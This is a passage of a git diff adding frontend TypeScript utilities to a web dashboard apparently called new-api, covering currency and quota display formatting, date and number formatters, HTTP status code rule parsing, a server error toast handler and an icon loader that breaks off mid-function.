+ * - `formatLocalCurrencyAmount()`: Use for payment amounts already in local currency
+ * - `formatQuotaWithCurrency()`: Use for raw quota values (converts to USD first)
+ *
+ * ## Example Scenario
+ *
+ * Admin Configuration:
+ * - quotaDisplayType: 'CNY'
+ * - usdExchangeRate: 7 (1 USD = 7 CNY)
+ * - priceRatio: 5 (5 CNY per 1 USD credit)
+ * - quotaPerUnit: 500000 (tokens per USD)
+ *
+ * User Flow:
+ * 1. Recharge option: 10 USD
+ *    - Display: formatCurrencyFromUSD(10) → "¥70"
+ * 2. Payment amount: 10 × 5 = 50 (already in CNY)
+ *    - Display: formatLocalCurrencyAmount(50) → "¥50"
+ * 3. User receives: 10 USD credit
+ *    - Balance display: formatCurrencyFromUSD(10) → "¥70"
+ *
+ * ## Quick Reference Guide
+ *
+ * | Scenario | Input Type | Function to Use | Why |
+ * |----------|-----------|-----------------|-----|
+ * | User balance display | USD (from DB) | `formatCurrencyFromUSD()` | Needs conversion to display currency |
+ * | Recharge option button | USD | `formatCurrencyFromUSD()` | Needs conversion to local currency |
+ * | Payment confirmation | Already local currency | `formatLocalCurrencyAmount()` | Already converted via priceRatio |
+ * | Billing history Amount | USD (from DB) | `formatCurrencyFromUSD()` | Historical USD needs conversion |
+ * | Billing history Payment | Local currency | `formatNumber()` | Just show number, no symbol |
+ * | Model pricing | USD | `formatBillingCurrencyFromUSD()` | Never show as tokens |
+ * | Raw quota from API | Tokens | `formatQuotaWithCurrency()` | Convert tokens → USD → display |
+ *
+ * ## Critical Rules
+ *
+ * 1. **Never double-convert**: If you multiply by exchangeRate, use formatLocalCurrencyAmount()
+ * 2. **Database USD values**: Always use formatCurrencyFromUSD() for amounts stored as USD
+ * 3. **Payment amounts**: Always use formatLocalCurrencyAmount() for priceRatio-calculated values
+ * 4. **Billing displays**: Use formatBillingCurrencyFromUSD() to avoid token display
+ * 5. **Effective exchange rate**: When quotaDisplayType is 'USD', use rate of 1 regardless of config
+ */
+import {
+  useSystemConfigStore,
+  DEFAULT_CURRENCY_CONFIG,
+  type CurrencyConfig,
+  type CurrencyDisplayType,
+} from '@/stores/system-config-store'
+
+export interface CurrencyFormatOptions {
+  /** Fraction digits to use when |value| >= 1 */
+  digitsLarge?: number
+  /** Fraction digits to use when |value| < 1 */
+  digitsSmall?: number
+  /** Whether to abbreviate thousands with k suffix */
+  abbreviate?: boolean
+  /** Minimal absolute value to display when rounding would produce zero */
+  minimumNonZero?: number
+}
+
+type DisplayMeta =
+  | {
+      kind: 'currency'
+      symbol: string
+      currencyCode: string
+      exchangeRate: number
+    }
+  | {
+      kind: 'custom'
+      symbol: string
+      exchangeRate: number
+    }
+  | {
+      kind: 'tokens'
+      /** Number of tokens per USD */
+      quotaPerUnit: number
+    }
+
+const DEFAULT_FORMAT_OPTIONS: Required<CurrencyFormatOptions> = {
+  digitsLarge: 2,
+  digitsSmall: 4,
+  abbreviate: true,
+  minimumNonZero: 0,
+}
+
+const DISPLAY_TYPE_VALUES = ['USD', 'CNY', 'TOKENS', 'CUSTOM'] as const
+type DisplayTypeLiteral = (typeof DISPLAY_TYPE_VALUES)[number]
+
+export function isCurrencyDisplayType(
+  value: unknown
+): value is CurrencyDisplayType {
+  return (
+    typeof value === 'string' &&
+    DISPLAY_TYPE_VALUES.includes(value as DisplayTypeLiteral)
+  )
+}
+
+export function parseCurrencyDisplayType(
+  value: unknown,
+  fallback: CurrencyDisplayType = 'USD'
+): CurrencyDisplayType {
+  return isCurrencyDisplayType(value) ? value : fallback
+}
+
+function getConfig(): CurrencyConfig {
+  const { config } = useSystemConfigStore.getState()
+  const currency = config?.currency ?? DEFAULT_CURRENCY_CONFIG
+  return {
+    ...DEFAULT_CURRENCY_CONFIG,
+    ...currency,
+    quotaPerUnit:
+      currency?.quotaPerUnit && currency.quotaPerUnit > 0
+        ? currency.quotaPerUnit
+        : DEFAULT_CURRENCY_CONFIG.quotaPerUnit,
+    usdExchangeRate:
+      currency?.usdExchangeRate && currency.usdExchangeRate > 0
+        ? currency.usdExchangeRate
+        : DEFAULT_CURRENCY_CONFIG.usdExchangeRate,
+    customCurrencyExchangeRate:
+      currency?.customCurrencyExchangeRate &&
+      currency.customCurrencyExchangeRate > 0
+        ? currency.customCurrencyExchangeRate
+        : DEFAULT_CURRENCY_CONFIG.customCurrencyExchangeRate,
+    customCurrencySymbol:
+      currency?.customCurrencySymbol?.trim() ||
+      DEFAULT_CURRENCY_CONFIG.customCurrencySymbol,
+  }
+}
+
+function getDisplayMeta(config: CurrencyConfig): DisplayMeta {
+  switch (config.quotaDisplayType) {
+    case 'CNY':
+      return {
+        kind: 'currency',
+        symbol: '¥',
+        currencyCode: 'CNY',
+        exchangeRate: config.usdExchangeRate,
+      }
+    case 'CUSTOM':
+      return {
+        kind: 'custom',
+        symbol: config.customCurrencySymbol,
+        exchangeRate: config.customCurrencyExchangeRate,
+      }
+    case 'TOKENS':
+      return {
+        kind: 'tokens',
+        quotaPerUnit: config.quotaPerUnit,
+      }
+    case 'USD':
+    default:
+      return {
+        kind: 'currency',
+        symbol: '$',
+        currencyCode: 'USD',
+        exchangeRate: 1,
+      }
+  }
+}
+
+function getBillingDisplayMeta(config: CurrencyConfig): DisplayMeta {
+  const meta = getDisplayMeta(config)
+  if (meta.kind === 'tokens') {
+    return {
+      kind: 'currency',
+      symbol: '$',
+      currencyCode: 'USD',
+      exchangeRate: 1,
+    }
+  }
+  return meta
+}
+
+function mergeOptions(
+  options?: CurrencyFormatOptions
+): Required<CurrencyFormatOptions> {
+  if (!options) return DEFAULT_FORMAT_OPTIONS
+  return {
+    digitsLarge: options.digitsLarge ?? DEFAULT_FORMAT_OPTIONS.digitsLarge,
+    digitsSmall: options.digitsSmall ?? DEFAULT_FORMAT_OPTIONS.digitsSmall,
+    abbreviate: options.abbreviate ?? DEFAULT_FORMAT_OPTIONS.abbreviate,
+    minimumNonZero:
+      options.minimumNonZero ?? DEFAULT_FORMAT_OPTIONS.minimumNonZero,
+  }
+}
+
+function removeTrailingZeros(str: string): string {
+  if (!str.includes('.')) return str
+  return str.replace(/(\.[0-9]*?)0+$/, '$1').replace(/\.$/, '')
+}
+
+function formatNumberWithSuffix(
+  value: number,
+  digitsLarge: number,
+  digitsSmall: number,
+  abbreviate: boolean
+): string {
+  const abs = Math.abs(value)
+  if (abbreviate && abs >= 1000) {
+    const result = value / 1000
+    return removeTrailingZeros(result.toFixed(1)) + 'k'
+  }
+
+  const digits = abs >= 1 ? digitsLarge : digitsSmall
+  return removeTrailingZeros(value.toFixed(digits))
+}
+
+function adjustForMinimum(
+  value: number,
+  digits: number,
+  minimumNonZero: number
+): number {
+  if (value === 0) return value
+
+  const threshold = minimumNonZero > 0 ? minimumNonZero : Math.pow(10, -digits)
+  const abs = Math.abs(value)
+  if (abs > 0 && abs < threshold) {
+    return value > 0 ? threshold : -threshold
+  }
+  return value
+}
+
+function formatCurrencyValue(
+  value: number,
+  options: Required<CurrencyFormatOptions>,
+  meta: DisplayMeta
+): string {
+  if (meta.kind === 'tokens') {
+    return formatNumberWithSuffix(
+      value,
+      options.digitsLarge,
+      options.digitsSmall,
+      options.abbreviate
+    )
+  }
+
+  const digits =
+    Math.abs(value) >= 1 ? options.digitsLarge : options.digitsSmall
+  const adjustedValue = adjustForMinimum(value, digits, options.minimumNonZero)
+
+  if (meta.kind === 'currency') {
+    const formatted = new Intl.NumberFormat(undefined, {
+      style: 'currency',
+      currency: meta.currencyCode,
+      currencyDisplay: 'narrowSymbol',
+      minimumFractionDigits: 0,
+      maximumFractionDigits: digits,
+    }).format(adjustedValue)
+    return formatted
+  }
+
+  const decimal = new Intl.NumberFormat(undefined, {
+    minimumFractionDigits: 0,
+    maximumFractionDigits: digits,
+  }).format(adjustedValue)
+
+  return `${meta.symbol}${decimal}`
+}
+
+/**
+ * Get the current currency configuration and display metadata.
+ *
+ * @returns Object containing config and display metadata
+ *
+ * @internal
+ * This is primarily for internal use. Most consumers should use the
+ * higher-level formatting functions instead.
+ */
+export function getCurrencyDisplay() {
+  const config = getConfig()
+  const meta = getDisplayMeta(config)
+  return { config, meta }
+}
+
+/**
+ * Format a USD amount according to the admin-configured display settings.
+ *
+ * This is the PRIMARY function for displaying quota/balance/credit amounts
+ * that are stored in the system as USD values.
+ *
+ * @param amountUSD - Amount in system USD units (e.g., user balance, quota)
+ * @param options - Optional formatting configuration
+ * @returns Formatted string with currency symbol or token count
+ *
+ * @example
+ * // With quotaDisplayType: 'USD'
+ * formatCurrencyFromUSD(10) → "$10"
+ *
+ * @example
+ * // With quotaDisplayType: 'CNY', usdExchangeRate: 7
+ * formatCurrencyFromUSD(10) → "¥70"
+ *
+ * @example
+ * // With quotaDisplayType: 'TOKENS', quotaPerUnit: 500000
+ * formatCurrencyFromUSD(10) → "5,000,000"
+ *
+ * @example
+ * // With quotaDisplayType: 'CUSTOM', customCurrencySymbol: '€', customCurrencyExchangeRate: 0.9
+ * formatCurrencyFromUSD(10) → "€9"
+ *
+ * @remarks
+ * Use this function for:
+ * - User balance/quota display
+ * - Recharge option amounts (before exchange rate applied)
+ * - Transaction amounts in billing history
+ * - Any value stored in database as USD
+ *
+ * DO NOT use for:
+ * - Payment amounts already converted via priceRatio → use formatLocalCurrencyAmount()
+ * - Raw token values → use formatQuotaWithCurrency()
+ */
+export function formatCurrencyFromUSD(
+  amountUSD: number | null | undefined,
+  options?: CurrencyFormatOptions
+): string {
+  if (amountUSD == null || Number.isNaN(amountUSD)) return '-'
+
+  const { config, meta } = getCurrencyDisplay()
+  const merged = mergeOptions(options)
+
+  if (meta.kind === 'tokens') {
+    const tokens = amountUSD * config.quotaPerUnit
+    return formatNumberWithSuffix(
+      tokens,
+      0,
+      merged.digitsSmall,
+      merged.abbreviate
+    )
+  }
+
+  const value =
+    meta.kind === 'currency'
+      ? amountUSD * meta.exchangeRate
+      : amountUSD * meta.exchangeRate
+
+  return formatCurrencyValue(value, merged, meta)
+}
+
+/**
+ * Format USD amounts for billing/payment contexts (never shows tokens).
+ *
+ * Similar to formatCurrencyFromUSD, but NEVER displays in token units.
+ * Always shows real currency values (USD, CNY, etc.) even when the system
+ * is configured to display quotas as tokens elsewhere.
+ *
+ * @param amountUSD - Amount in system USD units
+ * @param options - Optional formatting configuration
+ * @returns Formatted string with currency symbol (never tokens)
+ *
+ * @example
+ * // With quotaDisplayType: 'TOKENS' - still shows currency
+ * formatBillingCurrencyFromUSD(10) → "$10"  (not "5,000,000 tokens")
+ *
+ * @example
+ * // With quotaDisplayType: 'CNY', usdExchangeRate: 7
+ * formatBillingCurrencyFromUSD(10) → "¥70"
+ *
+ * @remarks
+ * Use this function for:
+ * - Model pricing displays
+ * - API usage costs
+ * - Billing/invoice amounts
+ * - Any monetary value where tokens don't make sense
+ *
+ * DO NOT use for:
+ * - User balance/quota → use formatCurrencyFromUSD()
+ * - Payment amounts already in local currency → use formatLocalCurrencyAmount()
+ */
+export function formatBillingCurrencyFromUSD(
+  amountUSD: number | null | undefined,
+  options?: CurrencyFormatOptions
+): string {
+  if (amountUSD == null || Number.isNaN(amountUSD)) return '-'
+
+  const { config } = getCurrencyDisplay()
+  const meta = getBillingDisplayMeta(config)
+  const merged = mergeOptions(options)
+  const value =
+    meta.kind === 'currency' || meta.kind === 'custom'
+      ? amountUSD * meta.exchangeRate
+      : amountUSD
+
+  return formatCurrencyValue(value, merged, meta)
+}
+
+/**
+ * Format raw quota values (token units) to display currency.
+ *
+ * Converts raw quota/token amounts to USD first, then formats according
+ * to display settings. Use when you have quota in token units (e.g., 5000000)
+ * and need to display it as currency (e.g., "$10").
+ *
+ * @param quota - Raw quota amount in token units (e.g., 5000000)
+ * @param options - Optional formatting configuration
+ * @returns Formatted string with currency symbol or token count
+ *
+ * @example
+ * // With quotaPerUnit: 500000, quotaDisplayType: 'USD'
+ * formatQuotaWithCurrency(5000000) → "$10"
+ *
+ * @example
+ * // With quotaPerUnit: 500000, quotaDisplayType: 'CNY', usdExchangeRate: 7
+ * formatQuotaWithCurrency(5000000) → "¥70"
+ *
+ * @remarks
+ * Use this function for:
+ * - Raw quota values from database (stored as tokens)
+ * - When you need to convert tokens → USD → display currency
+ *
+ * DO NOT use for:
+ * - Values already in USD → use formatCurrencyFromUSD()
+ * - Payment amounts → use formatLocalCurrencyAmount()
+ */
+export function formatQuotaWithCurrency(
+  quota: number | null | undefined,
+  options?: CurrencyFormatOptions
+): string {
+  if (quota == null || Number.isNaN(quota)) return '-'
+
+  const { config } = getCurrencyDisplay()
+  const amountUSD = quota / config.quotaPerUnit
+  return formatCurrencyFromUSD(amountUSD, options)
+}
+
+/**
+ * Get the current currency label for UI display.
+ *
+ * Returns a simple string label representing the current display currency.
+ * Useful for labels, tooltips, and UI text.
+ *
+ * @returns Currency label string (e.g., "USD", "CNY", "Tokens")
+ *
+ * @example
+ * getCurrencyLabel() → "USD"
+ * getCurrencyLabel() → "CNY"
+ * getCurrencyLabel() → "Tokens"
+ *
+ * @remarks
+ * Use this for:
+ * - Currency selector labels
+ * - Table column headers
+ * - Form field labels
+ */
+export function getCurrencyLabel(): string {
+  const { config, meta } = getCurrencyDisplay()
+
+  if (meta.kind === 'tokens') {
+    return 'Tokens'
+  }
+
+  switch (config.quotaDisplayType) {
+    case 'CNY':
+      return 'CNY'
+    case 'CUSTOM':
+      return meta.kind === 'custom' ? meta.symbol : 'Custom'
+    case 'USD':
+    default:
+      return 'USD'
+  }
+}
+
+/**
+ * Check if currency display is enabled (not in token-only mode).
+ *
+ * @returns True if displaying in actual currency (USD/CNY/etc), false if tokens only
+ *
+ * @example
+ * // With quotaDisplayType: 'USD' or 'CNY'
+ * isCurrencyDisplayEnabled() → true
+ *
+ * // With quotaDisplayType: 'TOKENS'
+ * isCurrencyDisplayEnabled() → false
+ *
+ * @remarks
+ * Use this to conditionally show currency-specific UI elements
+ */
+export function isCurrencyDisplayEnabled(): boolean {
+  const { meta } = getCurrencyDisplay()
+  return meta.kind !== 'tokens'
+}
+
+/**
+ * Format an amount that is ALREADY in local currency.
+ *
+ * ⚠️ CRITICAL: This function does NOT apply exchange rate conversion.
+ * Only use this for values that have already been converted to local currency
+ * via priceRatio or other means.
+ *
+ * @param amount - Amount already in local currency units
+ * @param options - Optional formatting configuration
+ * @returns Formatted string with appropriate currency symbol
+ *
+ * @example
+ * // Payment amount already calculated: 10 USD × priceRatio(5) = 50 CNY
+ * // With quotaDisplayType: 'CNY'
+ * formatLocalCurrencyAmount(50) → "¥50"
+ * // NOT "¥350" (which would be 50 × 7 exchangeRate)
+ *
+ * @example
+ * // With quotaDisplayType: 'USD'
+ * formatLocalCurrencyAmount(10) → "$10"
+ *
+ * @remarks
+ * Use this function for:
+ * - Payment amounts calculated via priceRatio (amount × price)
+ * - Actual money charged to user's payment method
+ * - Values that are already in the target currency
+ *
+ * DO NOT use for:
+ * - USD values that need conversion → use formatCurrencyFromUSD()
+ * - Raw quota values → use formatQuotaWithCurrency()
+ *
+ * Common mistake:
+ * ```ts
+ * // ❌ WRONG - Double conversion
+ * const payment = usdAmount * exchangeRate
+ * formatLocalCurrencyAmount(payment) // Will apply exchange rate again!
+ *
+ * // ✅ CORRECT - Already in local currency
+ * const payment = usdAmount * priceRatio
+ * formatLocalCurrencyAmount(payment) // Just formats with symbol
+ * ```
+ */
+export function formatLocalCurrencyAmount(
+  amount: number | null | undefined,
+  options?: CurrencyFormatOptions
+): string {
+  if (amount == null || Number.isNaN(amount)) return '-'
+
+  const { config } = getCurrencyDisplay()
+  const meta = getBillingDisplayMeta(config)
+  const merged = mergeOptions(options)
+
+  return formatCurrencyValue(amount, merged, meta)
+}
diff --git a/new-api/web/default/src/lib/dayjs.ts b/new-api/web/default/src/lib/dayjs.ts
new file mode 100644
index 0000000..0cd2d81
--- /dev/null
+++ b/new-api/web/default/src/lib/dayjs.ts
@@ -0,0 +1,6 @@
+import dayjs from 'dayjs'
+import relativeTime from 'dayjs/plugin/relativeTime'
+
+dayjs.extend(relativeTime)
+
+export default dayjs
diff --git a/new-api/web/default/src/lib/dom-utils.ts b/new-api/web/default/src/lib/dom-utils.ts
new file mode 100644
index 0000000..b56dc43
--- /dev/null
+++ b/new-api/web/default/src/lib/dom-utils.ts
@@ -0,0 +1,16 @@
+export function applyFaviconToDom(url: string) {
+  if (typeof document === 'undefined' || !url) return
+  try {
+    const next = new URL(url, window.location.href).href
+    const existing =
+      document.querySelectorAll<HTMLLinkElement>('link[rel~="icon"]')
+    if (existing.length === 1 && existing[0].href === next) return
+    const link = document.createElement('link')
+    link.rel = 'icon'
+    link.href = url
+    existing.forEach((l) => l.remove())
+    document.head.appendChild(link)
+  } catch {
+    // Ignore malformed URLs
+  }
+}
diff --git a/new-api/web/default/src/lib/format.ts b/new-api/web/default/src/lib/format.ts
new file mode 100644
index 0000000..1a20dff
--- /dev/null
+++ b/new-api/web/default/src/lib/format.ts
@@ -0,0 +1,218 @@
+import dayjs from '@/lib/dayjs'
+import {
+  formatCurrencyFromUSD,
+  formatQuotaWithCurrency,
+  getCurrencyDisplay,
+} from './currency'
+
+// ============================================================================
+// Number Formatting
+// ============================================================================
+
+export function formatNumber(value: number | null | undefined): string {
+  if (value == null || Number.isNaN(value as number)) return '-'
+  return Intl.NumberFormat(undefined, { maximumFractionDigits: 2 }).format(
+    value as number
+  )
+}
+
+export function formatCompactNumber(value: number | null | undefined): string {
+  if (value == null || Number.isNaN(value as number)) return '-'
+  return Intl.NumberFormat(undefined, {
+    notation: 'compact',
+    maximumFractionDigits: 1,
+  }).format(value as number)
+}
+
+export function formatPercent(value: number | null | undefined): string {
+  if (value == null || Number.isNaN(value as number)) return '-'
+  return Intl.NumberFormat(undefined, {
+    style: 'percent',
+    maximumFractionDigits: 2,
+  }).format((value as number) / 100)
+}
+
+export function formatCurrencyUSD(value: number | null | undefined): string {
+  return formatCurrencyFromUSD(value == null ? null : (value as number))
+}
+
+// ============================================================================
+// Quota Formatting (500,000 units = $1)
+// ============================================================================
+
+/**
+ * Format quota into the configured display amount.
+ * Quota is stored in units where `quotaPerUnit` equals 1 USD.
+ */
+export function formatQuota(quota: number): string {
+  return formatQuotaWithCurrency(quota, {
+    digitsLarge: 2,
+    digitsSmall: 4,
+    abbreviate: true,
+  })
+}
+
+/**
+ * Parse quota from the current display input back to quota units.
+ */
+export function parseQuotaFromDollars(amount: number): number {
+  if (!Number.isFinite(amount)) return 0
+
+  const { config, meta } = getCurrencyDisplay()
+
+  // Tokens-only or raw quota mode
+  if (meta.kind === 'tokens') {
+    return Math.round(amount)
+  }
+
+  const exchangeRate =
+    meta.kind === 'currency' || meta.kind === 'custom' ? meta.exchangeRate : 1
+
+  const usdAmount = exchangeRate > 0 ? amount / exchangeRate : amount
+
+  return Math.round(usdAmount * config.quotaPerUnit)
+}
+
+/**
+ * Convert quota units to the configured display amount.
+ * Reverse of parseQuotaFromDollars.
+ */
+export function quotaUnitsToDollars(units: number): number {
+  const { config, meta } = getCurrencyDisplay()
+
+  if (meta.kind === 'tokens') {
+    return units
+  }
+
+  const usdAmount = units / config.quotaPerUnit
+  const exchangeRate =
+    meta.kind === 'currency' || meta.kind === 'custom' ? meta.exchangeRate : 1
+
+  return usdAmount * exchangeRate
+}
+
+// ============================================================================
+// Timestamp Formatting
+// ============================================================================
+
+/**
+ * Format Unix timestamp (seconds) to YYYY-MM-DD HH:mm:ss
+ */
+export function formatTimestamp(timestamp: number): string {
+  if (timestamp === -1) {
+    return 'Never'
+  }
+  return formatTimestampToDate(timestamp)
+}
+
+/**
+ * Format timestamp to YYYY-MM-DD HH:mm:ss
+ * @param timestamp - Timestamp in seconds or milliseconds
+ * @param unit - Unit of the timestamp ('seconds' or 'milliseconds')
+ */
+export function formatTimestampToDate(
+  timestamp?: number,
+  unit: 'seconds' | 'milliseconds' = 'seconds'
+): string {
+  if (!timestamp || timestamp === -1 || timestamp === 0) {
+    return '-'
+  }
+  const ms = unit === 'seconds' ? timestamp * 1000 : timestamp
+  return dayjs(ms).format('YYYY-MM-DD HH:mm:ss')
+}
+
+/** Format a Date object to YYYY-MM-DD HH:mm:ss */
+export function formatDateTimeStr(date: Date): string {
+  return dayjs(date).format('YYYY-MM-DD HH:mm:ss')
+}
+
+/** Format a Date object to YYYY-MM-DD */
+export function formatDateStr(date: Date): string {
+  return dayjs(date).format('YYYY-MM-DD')
+}
+
+/** Format a Date object to HH:mm:ss */
+export function formatTimeStr(date: Date): string {
+  return dayjs(date).format('HH:mm:ss')
+}
+
+/**
+ * Format quota for usage logs with higher precision
+ * Uses 6 decimal places to show very small costs accurately
+ */
+export function formatLogQuota(quota: number): string {
+  return formatQuotaWithCurrency(quota, {
+    digitsLarge: 4,
+    digitsSmall: 6,
+    abbreviate: false,
+  })
+}
+
+/**
+ * Format tokens count with K/M suffixes
+ */
+export function formatTokens(tokens: number): string {
+  if (tokens === 0) return '-'
+  if (tokens < 1000) return tokens.toString()
+  if (tokens < 1000000) return `${(tokens / 1000).toFixed(1)}K`
+  return `${(tokens / 1000000).toFixed(2)}M`
+}
+
+/**
+ * Format use time in seconds with appropriate unit
+ */
+export function formatUseTime(seconds: number): string {
+  if (seconds < 60) return `${seconds.toFixed(1)}s`
+  const minutes = Math.floor(seconds / 60)
+  const remainingSeconds = seconds % 60
+  return `${minutes}m ${remainingSeconds.toFixed(0)}s`
+}
+
+/**
+ * Format timestamp to date input value (YYYY-MM-DDTHH:mm)
+ */
+export function formatTimestampForInput(timestamp: number): string {
+  if (timestamp === -1) {
+    return ''
+  }
+  return dayjs(timestamp * 1000).format('YYYY-MM-DDTHH:mm')
+}
+
+/**
+ * Parse datetime-local input to Unix timestamp
+ */
+export function parseTimestampFromInput(value: string): number {
+  if (!value) {
+    return -1
+  }
+  const date = new Date(value)
+  return Math.floor(date.getTime() / 1000)
+}
+
+// ============================================================================
+// Color Generation
+// ============================================================================
+
+/**
+ * Generate a consistent color from a string
+ * Uses HSL for better color distribution
+ */
+export function stringToColor(str: string): string {
+  if (!str) return 'gray'
+
+  // Generate hash from string
+  let hash = 0
+  for (let i = 0; i < str.length; i++) {
+    hash = str.charCodeAt(i) + ((hash << 5) - hash)
+    hash = hash & hash // Convert to 32-bit integer
+  }
+
+  // Use hash to generate hue (0-360)
+  const hue = Math.abs(hash % 360)
+
+  // Use saturation and lightness that work well for tags
+  const saturation = 65 + (Math.abs(hash) % 10) // 65-75%
+  const lightness = 55 + (Math.abs(hash >> 8) % 10) // 55-65%
+
+  return `hsl(${hue}, ${saturation}%, ${lightness}%)`
+}
diff --git a/new-api/web/default/src/lib/handle-server-error.ts b/new-api/web/default/src/lib/handle-server-error.ts
new file mode 100644
index 0000000..b6c0627
--- /dev/null
+++ b/new-api/web/default/src/lib/handle-server-error.ts
@@ -0,0 +1,25 @@
+import { AxiosError } from 'axios'
+import i18next from 'i18next'
+import { toast } from 'sonner'
+
+export function handleServerError(error: unknown) {
+  // eslint-disable-next-line no-console
+  console.log(error)
+
+  let errMsg = i18next.t('Something went wrong!')
+
+  if (
+    error &&
+    typeof error === 'object' &&
+    'status' in error &&
+    Number(error.status) === 204
+  ) {
+    errMsg = i18next.t('Content not found.')
+  }
+
+  if (error instanceof AxiosError) {
+    errMsg = error.response?.data.title
+  }
+
+  toast.error(errMsg)
+}
diff --git a/new-api/web/default/src/lib/http-status-code-rules.ts b/new-api/web/default/src/lib/http-status-code-rules.ts
new file mode 100644
index 0000000..f26797d
--- /dev/null
+++ b/new-api/web/default/src/lib/http-status-code-rules.ts
@@ -0,0 +1,118 @@
+export type StatusCodeRange = {
+  start: number
+  end: number
+}
+
+export type ParsedHttpStatusCodeRules = {
+  ok: boolean
+  ranges: StatusCodeRange[]
+  tokens: string[]
+  normalized: string
+  invalidTokens: string[]
+}
+
+export function parseHttpStatusCodeRules(
+  input: unknown
+): ParsedHttpStatusCodeRules {
+  const raw = (input ?? '').toString().trim()
+  if (raw.length === 0) {
+    return {
+      ok: true,
+      ranges: [],
+      tokens: [],
+      normalized: '',
+      invalidTokens: [],
+    }
+  }
+
+  const sanitized = raw.replace(/[，]/g, ',')
+  const segments = sanitized
+    .split(',')
+    .map((s) => s.trim())
+    .filter(Boolean)
+
+  const ranges: StatusCodeRange[] = []
+  const invalidTokens: string[] = []
+
+  for (const segment of segments) {
+    const parsed = parseToken(segment)
+    if (!parsed) {
+      invalidTokens.push(segment)
+    } else {
+      ranges.push(parsed)
+    }
+  }
+
+  if (invalidTokens.length > 0) {
+    return {
+      ok: false,
+      ranges: [],
+      tokens: [],
+      normalized: raw,
+      invalidTokens,
+    }
+  }
+
+  const merged = mergeRanges(ranges)
+  const tokens = merged.map((r) =>
+    r.start === r.end ? `${r.start}` : `${r.start}-${r.end}`
+  )
+  const normalized = tokens.join(',')
+
+  return {
+    ok: true,
+    ranges: merged,
+    tokens,
+    normalized,
+    invalidTokens: [],
+  }
+}
+
+function parseToken(token: string): StatusCodeRange | null {
+  const cleaned = token.trim().replace(/\s/g, '')
+  if (!cleaned) return null
+
+  const isValidCode = (code: number) =>
+    Number.isFinite(code) && code >= 100 && code <= 599
+
+  if (cleaned.includes('-')) {
+    const [a, b] = cleaned.split('-')
+    if (!isNumber(a) || !isNumber(b)) return null
+
+    const start = Number.parseInt(a, 10)
+    const end = Number.parseInt(b, 10)
+    if (!isValidCode(start) || !isValidCode(end) || start > end) return null
+
+    return { start, end }
+  }
+
+  if (!isNumber(cleaned)) return null
+  const code = Number.parseInt(cleaned, 10)
+  if (!isValidCode(code)) return null
+
+  return { start: code, end: code }
+}
+
+function isNumber(s: string) {
+  return typeof s === 'string' && /^\d+$/.test(s)
+}
+
+function mergeRanges(ranges: StatusCodeRange[]): StatusCodeRange[] {
+  if (ranges.length === 0) return []
+
+  const sorted = [...ranges].sort((a, b) =>
+    a.start !== b.start ? a.start - b.start : a.end - b.end
+  )
+
+  return sorted.reduce<StatusCodeRange[]>((merged, current) => {
+    const last = merged[merged.length - 1]
+
+    if (!last || current.start > last.end + 1) {
+      merged.push({ ...current })
+    } else {
+      last.end = Math.max(last.end, current.end)
+    }
+
+    return merged
+  }, [])
+}
diff --git a/new-api/web/default/src/lib/lobe-icon.tsx b/new-api/web/default/src/lib/lobe-icon.tsx
new file mode 100644
index 0000000..c224652
--- /dev/null
+++ b/new-api/web/default/src/lib/lobe-icon.tsx
@@ -0,0 +1,146 @@
+/**
+ * LobeHub Icon Loader
+ * Dynamically load and render icons from @lobehub/icons
+ *
+ * Supports:
+ * - Basic: "OpenAI", "OpenAI.Color"
+ * - Chained properties: "OpenAI.Avatar.type={'platform'}"
+ * - Size parameter: getLobeIcon("OpenAI", 20)
+ */
+import * as LobeIcons from '@lobehub/icons'
+
+/**
+ * Parse a property value from string to appropriate type
+ * @param raw - Raw string value
+ * @returns Parsed value (boolean, number, or string)
+ */
+function parseValue(raw: string | undefined | null): string | number | boolean {
+  if (raw == null) return true
+
+  let v = String(raw).trim()
+
+  // Remove curly braces
+  if (v.startsWith('{') && v.endsWith('}')) {
+    v = v.slice(1, -1).trim()
+  }
+
+  // Remove quotes
+  if (
+    (v.startsWith('"') && v.endsWith('"')) ||
+    (v.startsWith("'") && v.endsWith("'"))
+  ) {
+    return v.slice(1, -1)
+  }
+
+  // Boolean
+  if (v === 'true') return true
+  if (v === 'false') return false
+
+  // Number
+  if (/^-?\d+(?:\.\d+)?$/.test(v)) return Number(v)
+
+  // Return as string
+  return v
+}
+
+/**
+ * Get LobeHub icon component by name
+ * @param iconName - Icon name/description (e.g., "OpenAI", "OpenAI.Color", "Claude.Avatar")
+ * @param size - Icon size (default: 20)
+ * @returns Icon component or fallback
+ *
+ * @example
+ * getLobeIcon("OpenAI", 24)
+ * getLobeIcon("OpenAI.Color", 20)
+ * getLobeIcon("Claude.Avatar.type={'platform'}", 32)
+ */
+export function getLobeIcon(
+  iconName: string | undefined | null,
+  size: number = 20
+): React.ReactNode {
+  if (!iconName || typeof iconName !== 'string') {
+    return (
+      <div
+        className='bg-muted text-muted-foreground flex items-center justify-center rounded-full text-xs font-medium'
+        style={{ width: size, height: size }}
+      >
+        ?
+      </div>
+    )
+  }
+
+  const trimmedName = iconName.trim()
+  if (!trimmedName) {
+    return (
+      <div
+        className='bg-muted text-muted-foreground flex items-center justify-center rounded-full text-xs font-medium'
+        style={{ width: size, height: size }}
+      >
+        ?
+      </div>
+    )
+  }
+
+  // Parse component path and chained properties
+  const segments = trimmedName.split('.')
+  const baseKey = segments[0]
+  const BaseIcon = (LobeIcons as Record<string, unknown>)[baseKey] as
+    | Record<string, unknown>
+    | undefined
+
+  let IconComponent: React.ComponentType<Record<string, unknown>> | undefined
+  let propStartIndex: number
+
+  if (BaseIcon && segments.length > 1 && BaseIcon[segments[1]]) {
+    IconComponent = BaseIcon[segments[1]] as React.ComponentType<
+      Record<string, unknown>
+    >
+    propStartIndex = 2
+  } else {
+    IconComponent = (LobeIcons as Record<string, unknown>)[baseKey] as
+      | React.ComponentType<Record<string, unknown>>
+      | undefined
+    propStartIndex = segments.length > 1 && /^[A-Z]/.test(segments[1]) ? 2 : 1
+  }
+
+  // Fallback if icon not found
+  if (
+    !IconComponent ||
+    (typeof IconComponent !== 'function' && typeof IconComponent !== 'object')
+  ) {
+    const firstLetter = trimmedName.charAt(0).toUpperCase()
+    return (
+      <div
+        className='bg-muted text-muted-foreground flex items-center justify-center rounded-full text-xs font-medium'
+        style={{ width: size, height: size }}
+      >
+        {firstLetter}
+      </div>
+    )
+  }
+
+  // Parse chained properties (e.g., "type={'platform'}", "shape='square'")
+  const props: Record<string, string | number | boolean> = {}
+
+  for (let i = propStartIndex; i < segments.length; i++) {
+    const seg = segments[i]
+    if (!seg) continue
+
+    const eqIdx = seg.indexOf('=')
